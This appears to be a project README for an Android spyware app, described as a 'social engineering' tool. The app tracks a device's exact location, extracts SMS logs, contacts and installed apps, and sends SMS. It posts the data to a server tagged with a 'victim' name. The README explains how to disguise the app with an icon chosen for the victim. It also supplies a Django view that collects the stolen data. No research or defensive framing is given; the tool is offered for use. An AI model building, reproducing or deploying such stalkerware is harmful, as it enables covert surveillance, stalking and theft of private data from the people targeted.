This mobile app offers multiple modes of Social Engineering operation:
- Exact Location Tracking: Track the exact location of the device.
- SMS Log Extraction: Extract SMS logs from the device.
- Sending SMS from Device: Send SMS messages from the device.
- Contact Extraction: Extract contact information from the device.
- Installed App List Extraction: Retrieve a list of installed apps on the device.
- More features coming soon: Additional features will be added in future updates.
Currently, only the Exact Location Tracker is completed.
- Exact Location Tracker
- SMS Log Extraction
- Sending SMS from Device
- Contact Extraction
- Installed App list Extraction
- Additional features
To set up the app, follow these steps:
- Configure
strings.xml
:- Navigate to the
res/values
folder. - Create or edit the
strings.xml
file using the template below:
- Navigate to the
<resources>
<string name="app_name">Your App Name</string>
<string name="victim">Name of victim to tag the received data</string>
<string name="server_url">Server URL where POST request is created</string>
<string name="SendSmsTo">Phone No</string>
<string name="Message">Message body</string>
</resources>
-
Change the app icon:
- Navigate to the
res
folder. - Replace the existing icon files in the
mipmap
folders with your target(victim) based icon files.
- Navigate to the
-
Build and Run the App:
- Open your project in Android Studio.
- Build and run the app on your device or emulator.
The app sends data to the server using a POST request with the following structure:
name
: Assigned in thestrings.xml
mv01
: Contains all raw text data sent by the app
{
"name": "victim name",
"mv01": "this is sent data"
}
The receiver end can be a Django server hosted on PythonAnywhere (https://www.pythonanywhere.com/) for free. To handle the POST request, you can use the following view:
from django.views.decorators.csrf import csrf_exempt
from django.views.decorators.http import require_POST
from django.http import JsonResponse
from .models import tracker_database
@csrf_exempt
@require_POST
def tracker_database_entry(request):
if request.POST.get("mv01"):
entry = tracker_database(
plan_data=request.POST.get("mv01"),
name=request.POST.get("name", "s")
)
entry.save()
response = {'status': 'success'}
return JsonResponse(response, status=201)
else:
response = {'status': 'failure', 'message': 'Invalid data'}
return JsonResponse(response, status=400)
You can change the app modes by altering the private Integer AppType = 1;
value in MainActivity
. The available modes are:
0
-- All: Enable all features [only extraction].1
-- Location: Enable exact location tracking.2
-- SMS: Enable SMS log extraction.3
-- Send SMS: Enable sending SMS from the device.4
-- Contact: Enable Contact log extraction.5
-- Installed App: Enable Installed App list log extraction.
If you would like to contribute to the project, please follow these steps:
- Fork the repository.
- Create a new branch (
git checkout -b feature-branch
). - Make your changes and commit them (
git commit -m 'Add new feature'
). - Push to the branch (
git push origin feature-branch
). - Create a new Pull Request.
This project is licensed under the MIT License. See the LICENSE
file for more details.
For any questions or suggestions, please contact [[email protected]].